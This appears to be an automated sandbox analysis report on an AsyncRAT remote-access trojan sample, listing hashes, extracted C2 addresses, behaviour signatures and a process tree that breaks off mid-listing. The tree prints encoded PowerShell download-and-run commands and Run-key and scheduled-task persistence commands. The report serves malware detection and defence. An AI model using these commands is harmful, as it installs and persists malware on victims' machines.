asyncrat | c6dda31fa6cb4ce140f62c9ce604672fa4a9ba5d1792f2d77f3cfcb43b3227ac

max time kernel
145s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
12/12/2022, 11:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RustExternal_nls.exe
Size 658KB
Sample221212-npbnjsbc28
SHA256 c6dda31fa6cb4ce140f62c9ce604672fa4a9ba5d1792f2d77f3cfcb43b3227ac
MD5 1ab8dbca5e2bba39723f00907d266de7
SHA1 729cb808637568f20ac886b3fac5f3cf5ff01dee
SHA512 d1a31848eb9b683793afd36031ef8078ff962c2526272782cf2fca8db11afb71643a46b9ad6bce3ba8dba1b638672205726f6e96c7dd3e887228a2368ec08081
SSDEEP 12288:3oSO5i2eVUIvybKcEz4MM7S9HdKINesX7j6p9PI8GS0oN2:3ouTVUIvtH4H7aLeO23gRoY
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat defendersmartscren system guard runtime persistence rat upx

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes

delay
3
install
false
install_file
System Guard Runtime
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

DefenderSmartScren

217.64.31.3:8437

Mutex

DefenderSmartScren

Attributes

delay
3
install
false
install_file
SecurityHealtheurvice.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/2400-270-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral2/memory/5048-309-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
35	1948	powershell.exe
58	64	powershell.exe
66	1724	powershell.exe
71	1976	powershell.exe
75	4372	powershell.exe
78	4556	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 20 IoCs

pid	Process
4760	DEFENDERFILESECURITY.EXE
940	0.exe
224	gahagoLNMQ.exe
3236	0aQOKpbqSh.exe
4692	MRLjVEAbX4.exe
1604	m7TASdFX2k.exe
1348	LytazJdKBd.exe
4964	0Mjmp5O7Ru.exe
3936	FcoOfTN2qA.exe
2816	gQjw5cdLV3.exe
824	PRNzqO3YaE.exe
2368	yIvJwtAgxW.exe
4128	90qfEXMyuo.exe
3952	HDJ3.exe
3424	DFSH3.exe
3592	FDJSDC41.exe
4580	POQIWE3.exe
2252	HDJ3.exe
404	PODSFB1.exe
5096	MNXAS123.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0003000000022da0-141.dat	upx
behavioral2/files/0x0003000000022da0-140.dat	upx
behavioral2/memory/4760-143-0x00007FF6017E0000-0x00007FF60193F000-memory.dmp	upx
behavioral2/memory/4760-145-0x00007FF6017E0000-0x00007FF60193F000-memory.dmp	upx
behavioral2/files/0x0004000000022dc1-147.dat	upx
behavioral2/files/0x0004000000022dc1-148.dat	upx
behavioral2/memory/940-149-0x00007FF6B43F0000-0x00007FF6B4553000-memory.dmp	upx
behavioral2/memory/940-205-0x00007FF6B43F0000-0x00007FF6B4553000-memory.dmp	upx

Checks computer location settings 2 TTPs 12 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	gahagoLNMQ.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	MRLjVEAbX4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	0Mjmp5O7Ru.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	FcoOfTN2qA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	gQjw5cdLV3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	yIvJwtAgxW.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	0aQOKpbqSh.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	m7TASdFX2k.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	LytazJdKBd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	PRNzqO3YaE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	90qfEXMyuo.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemGuardRuntime = "C:\\Users\\Admin\\AppData\\Roaming\\SystemGuardRuntime\\SystemGuardRuntime.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealthService = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthService\\SecurityHealthService.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe"	MNXAS123.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3284 set thread context of 4880	3284	RustExternal_nls.exe	81
PID 3424 set thread context of 2400	3424	DFSH3.exe	155
PID 3952 set thread context of 5012	3952	HDJ3.exe	159
PID 4580 set thread context of 5048	4580	POQIWE3.exe	166
PID 3592 set thread context of 3032	3592	FDJSDC41.exe	168
PID 2252 set thread context of 4516	2252	HDJ3.exe	175

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4780	404	WerFault.exe	170

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1788	schtasks.exe
3684	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	RegAsm.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
1948	powershell.exe
1948	powershell.exe
64	powershell.exe
64	powershell.exe
1724	powershell.exe
1724	powershell.exe
1976	powershell.exe
1976	powershell.exe
1948	powershell.exe
4372	powershell.exe
4372	powershell.exe
64	powershell.exe
64	powershell.exe
1976	powershell.exe
1724	powershell.exe
1724	powershell.exe
4556	powershell.exe
4556	powershell.exe
3756	powershell.exe
3756	powershell.exe
1432	powershell.exe
1432	powershell.exe
4372	powershell.exe
3748	powershell.exe
3748	powershell.exe
4592	powershell.exe
4592	powershell.exe
3748	powershell.exe
4504	powershell.exe
4504	powershell.exe
4556	powershell.exe
3756	powershell.exe
4504	powershell.exe
1432	powershell.exe
4592	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
5000	powershell.exe
5000	powershell.exe
5000	powershell.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	64	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	3748	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	3952	HDJ3.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	3592	FDJSDC41.exe
Token: SeDebugPrivilege	2252	HDJ3.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3884	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 3284 wrote to memory of 4880	3284	RustExternal_nls.exe	81
PID 4880 wrote to memory of 4760	4880	RegAsm.exe	82
PID 4880 wrote to memory of 4760	4880	RegAsm.exe	82
PID 4760 wrote to memory of 3292	4760	DEFENDERFILESECURITY.EXE	84
PID 4760 wrote to memory of 3292	4760	DEFENDERFILESECURITY.EXE	84
PID 3292 wrote to memory of 940	3292	cmd.exe	87
PID 3292 wrote to memory of 940	3292	cmd.exe	87
PID 940 wrote to memory of 3892	940	0.exe	90
PID 940 wrote to memory of 3892	940	0.exe	90
PID 3892 wrote to memory of 224	3892	cmd.exe	92
PID 3892 wrote to memory of 224	3892	cmd.exe	92
PID 940 wrote to memory of 344	940	0.exe	93
PID 940 wrote to memory of 344	940	0.exe	93
PID 940 wrote to memory of 3748	940	0.exe	134
PID 940 wrote to memory of 3748	940	0.exe	134
PID 344 wrote to memory of 3236	344	cmd.exe	95
PID 344 wrote to memory of 3236	344	cmd.exe	95
PID 940 wrote to memory of 1300	940	0.exe	98
PID 940 wrote to memory of 1300	940	0.exe	98
PID 940 wrote to memory of 1040	940	0.exe	101
PID 940 wrote to memory of 1040	940	0.exe	101
PID 3748 wrote to memory of 4692	3748	powershell.exe	100
PID 3748 wrote to memory of 4692	3748	powershell.exe	100
PID 224 wrote to memory of 1948	224	gahagoLNMQ.exe	103
PID 224 wrote to memory of 1948	224	gahagoLNMQ.exe	103
PID 1300 wrote to memory of 1604	1300	cmd.exe	104
PID 1300 wrote to memory of 1604	1300	cmd.exe	104
PID 3236 wrote to memory of 64	3236	0aQOKpbqSh.exe	106
PID 3236 wrote to memory of 64	3236	0aQOKpbqSh.exe	106
PID 940 wrote to memory of 452	940	0.exe	108
PID 940 wrote to memory of 452	940	0.exe	108
PID 1040 wrote to memory of 1348	1040	cmd.exe	111
PID 1040 wrote to memory of 1348	1040	cmd.exe	111
PID 4692 wrote to memory of 1724	4692	MRLjVEAbX4.exe	110
PID 4692 wrote to memory of 1724	4692	MRLjVEAbX4.exe	110
PID 1604 wrote to memory of 1976	1604	m7TASdFX2k.exe	113
PID 1604 wrote to memory of 1976	1604	m7TASdFX2k.exe	113
PID 940 wrote to memory of 3052	940	0.exe	114
PID 940 wrote to memory of 3052	940	0.exe	114
PID 940 wrote to memory of 2136	940	0.exe	117
PID 940 wrote to memory of 2136	940	0.exe	117
PID 1348 wrote to memory of 4372	1348	LytazJdKBd.exe	144
PID 1348 wrote to memory of 4372	1348	LytazJdKBd.exe	144
PID 452 wrote to memory of 4964	452	cmd.exe	118
PID 452 wrote to memory of 4964	452	cmd.exe	118
PID 940 wrote to memory of 1144	940	0.exe	120
PID 940 wrote to memory of 1144	940	0.exe	120
PID 3052 wrote to memory of 3936	3052	cmd.exe	121
PID 3052 wrote to memory of 3936	3052	cmd.exe	121
PID 940 wrote to memory of 3036	940	0.exe	123
PID 940 wrote to memory of 3036	940	0.exe	123
PID 940 wrote to memory of 3668	940	0.exe	126
PID 940 wrote to memory of 3668	940	0.exe	126
PID 2136 wrote to memory of 2816	2136	cmd.exe	143
PID 2136 wrote to memory of 2816	2136	cmd.exe	143

C:\Users\Admin\AppData\Local\Temp\RustExternal_nls.exe
"C:\Users\Admin\AppData\Local\Temp\RustExternal_nls.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3284
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  #cmd
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Users\Admin\AppData\Roaming\DEFENDERFILESECURITY.EXE
    "C:\Users\Admin\AppData\Roaming\DEFENDERFILESECURITY.EXE"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4760
  - - C:\Windows\system32\cmd.exe
      "cmd" /C C:\Users\Admin\AppData\Local\Temp\0.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3292
    - - C:\Users\Admin\AppData\Local\Temp\0.exe
        
        C:\Users\Admin\AppData\Local\Temp\0.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:940
      - C:\Windows\system32\cmd.exe
        
        "cmd" /C C:\Users\Admin\AppData\Local\Temp\gahagoLNMQ.exe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3892
        
        C:\Users\Admin\AppData\Local\Temp\gahagoLNMQ.exe
        
        C:\Users\Admin\AppData\Local\Temp\gahagoLNMQ.exe
        7⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAcgB4ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADUAMQAxADcAMwA3ADYAOAAxADIAMAAyADQANgA0ADEAMwAvADEAMAA1ADEAMQA3ADUAMQA5ADkANAA0ADMAMgA2ADMANQA3ADkALwBwAGwAbABtAG0AZABpAGkAcABtAC4AZQB4AGUAJwAsACAAPAAjAHEAeQBiACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZgBjAGoAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaABnAHcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASABEAEoAMwAuAGUAeABlACcAKQApADwAIwBpAGMAbgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBtAHMAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQB1AHEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASABEAEoAMwAuAGUAeABlACcAKQA8ACMAbABwAGsAIwA+AA=="
        8⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1948
        
        C:\Users\Admin\AppData\Roaming\HDJ3.exe
        
        "C:\Users\Admin\AppData\Roaming\HDJ3.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:3952
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        10⤵
        
        PID:5012
      - C:\Windows\system32\cmd.exe
        
        "cmd" /C C:\Users\Admin\AppData\Local\Temp\0aQOKpbqSh.exe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:344
        
        C:\Users\Admin\AppData\Local\Temp\0aQOKpbqSh.exe
        
        C:\Users\Admin\AppData\Local\Temp\0aQOKpbqSh.exe
        7⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAZAB4ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQAxADEANwAzADcANgA4ADEAMgAwADIANAA2ADQAMQAzAC8AMQAwADUAMQAxADcANQAyADEANAAyADAANwAyADIANQA4ADYANgAvAEMAUgAuAGUAeABlACcALAAgADwAIwBpAHgAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGQAZQB5ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGQAcABqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEQARgBTAEgAMwAuAGUAeABlACcAKQApADwAIwBhAHQAdwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBxAG0AaAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegBtAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARABGAFMASAAzAC4AZQB4AGUAJwApADwAIwBuAHoAdgAjAD4A"
        8⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:64
        
        C:\Users\Admin\AppData\Roaming\DFSH3.exe
        
        "C:\Users\Admin\AppData\Roaming\DFSH3.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3424
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'
        10⤵
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4192
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        10⤵
        
        PID:2400
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
        10⤵
        
        PID:1388
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
        11⤵
        Creates scheduled task(s)
        
        PID:1788
      - C:\Windows\system32\cmd.exe
        
        "cmd" /C C:\Users\Admin\AppData\Local\Temp\MRLjVEAbX4.exe
        6⤵
        
        PID:3748
        
        C:\Users\Admin\AppData\Local\Temp\MRLjVEAbX4.exe
        
        C:\Users\Admin\AppData\Local\Temp\MRLjVEAbX4.exe
        7⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:4692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcQBtACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQAxADEANwAzADcANgA4ADEAMgAwADIANAA2ADQAMQAzAC8AMQAwADUAMQAxADcANQAyADQAMQAwADAAOAA4ADEAMgAxADAAMgAvAGwAYwBvAG0AcABsAGMAbQBwAG8ALgBlAHgAZQAnACwAIAA8ACMAZQBhAGcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB1AHkAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBwAGIAegAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBGAEQASgBTAEQAQwA0ADEALgBlAHgAZQAnACkAKQA8ACMAaQBiAGcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAawBmAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGYAZABmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYARABKAFMARABDADQAMQAuAGUAeABlACcAKQA8ACMAeQB5AGkAIwA+AA=="
        8⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1724
        
        C:\Users\Admin\AppData\Roaming\FDJSDC41.exe
        
        "C:\Users\Admin\AppData\Roaming\FDJSDC41.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:3592
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        10⤵
        
        PID:3032
      - C:\Windows\system32\cmd.exe
        
        "cmd" /C C:\Users\Admin\AppData\Local\Temp\m7TASdFX2k.exe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1300
        
        C:\Users\Admin\AppData\Local\Temp\m7TASdFX2k.exe
        
        C:\Users\Admin\AppData\Local\Temp\m7TASdFX2k.exe
        7⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAYgB0ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQAxADEANwAzADcANgA4ADEAMgAwADIANAA2ADQAMQAzAC8AMQAwADUAMQAxADcANQAyADYAMAAzADkAMAA2ADgANgA3ADkAMAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAGQAcQBoACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHIAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZgBhAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABPAFEASQBXAEUAMwAuAGUAeABlACcAKQApADwAIwBkAG0AdwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAG0AZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQBsAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABPAFEASQBXAEUAMwAuAGUAeABlACcAKQA8ACMAYwBkAHMAIwA+AA=="
        8⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1976
        
        C:\Users\Admin\AppData\Roaming\POQIWE3.exe
        
        "C:\Users\Admin\AppData\Roaming\POQIWE3.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4580
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService' -Value '"C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe"' -PropertyType 'String'
        10⤵
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5000
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /C schtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
        10⤵
        
        PID:3012
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
        11⤵
        Creates scheduled task(s)
        
        PID:3684
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        10⤵
        
        PID:5048
      - C:\Windows\system32\cmd.exe
        
        "cmd" /C C:\Users\Admin\AppData\Local\Temp\LytazJdKBd.exe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1040
        
        C:\Users\Admin\AppData\Local\Temp\LytazJdKBd.exe
        
        C:\Users\Admin\AppData\Local\Temp\LytazJdKBd.exe
        7⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
